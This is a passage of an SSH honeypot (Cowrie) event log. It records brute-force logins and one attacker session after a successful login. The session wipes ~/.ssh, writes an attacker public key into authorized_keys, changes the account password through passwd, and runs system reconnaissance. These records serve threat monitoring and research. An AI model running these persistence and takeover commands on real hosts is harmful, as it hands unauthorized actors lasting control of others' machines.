0@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:50.797178Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq1234","message":"login attempt [tyriq/tyriq1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:51.377521Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123!@#","message":"login attempt [admin/Admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:51.895807Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:52.470579Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:52.473875Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:52.477676Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq12345","message":"login attempt [tyriq/tyriq12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:52.484012Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:52.744403Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.319887Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.323177Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.567804Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.593590Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.597509Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":45694,"dst_ip":"10.17.0.5","dst_port":22,"session":"93bc39fa0935","protocol":"ssh","message":"New connection: 103.4.145.50:45694 (10.17.0.5:22) [session: 93bc39fa0935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.833041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:53.840523Z","src_ip":"103.4.145.50","session":"93bc39fa0935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:54.099200Z","src_ip":"103.4.145.50","session":"93bc39fa0935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:55.132469Z","src_ip":"103.4.145.50","session":"93bc39fa0935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:56.390826Z","src_ip":"103.4.145.50","session":"93bc39fa0935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":46546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf00f7aadc7","protocol":"ssh","message":"New connection: 103.4.145.50:46546 (10.17.0.5:22) [session: 4cf00f7aadc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:56.644640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:56.650449Z","src_ip":"103.4.145.50","session":"4cf00f7aadc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:56.911944Z","src_ip":"103.4.145.50","session":"4cf00f7aadc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:57.975978Z","src_ip":"103.4.145.50","session":"4cf00f7aadc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:59.235467Z","src_ip":"103.4.145.50","session":"4cf00f7aadc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:59.559130Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:59.562659Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:59.833238Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:00.412179Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123!@#\\nRXHCNetRSPac\\nRXHCNetRSPac\"|passwd|bash","message":"CMD: echo -e \"Admin123!@#\\nRXHCNetRSPac\\nRXHCNetRSPac\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:00.417526Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:00.422169Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:00.426738Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/746d7f8ae057845d45ae9d3d9d954c290977bf8d9038c331222bd03df4b45065","size":32,"shasum":"746d7f8ae057845d45ae9d3d9d954c290977bf8d9038c331222bd03df4b45065","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/746d7f8ae057845d45ae9d3d9d954c290977bf8d9038c331222bd03df4b45065 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:00.699177Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:01.279361Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123!@#\\nRXHCNetRSPac\\nRXHCNetRSPac\\n\"|passwd","message":"CMD: echo \"Admin123!@#\\nRXHCNetRSPac\\nRXHCNetRSPac\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:01.283426Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e82d939094a398768dc8a373861a2be48836430baac740d521b802572567859c","size":25,"shasum":"e82d939094a398768dc8a373861a2be48836430baac740d521b802572567859c","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/e82d939094a398768dc8a373861a2be48836430baac740d521b802572567859c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:01.553709Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:02.189733Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:02.193417Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:02.465299Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.082037Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.085981Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.352905Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.933999Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.937841Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:03.941911Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:04.214776Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:04.799130Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:04.805295Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:05.078740Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:05.671540Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:05.675565Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:05.940765Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:06.519652Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:06.523562Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:06.791442Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:07.371014Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:07.374758Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:07.643203Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:08.221457Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:56:08.225158Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
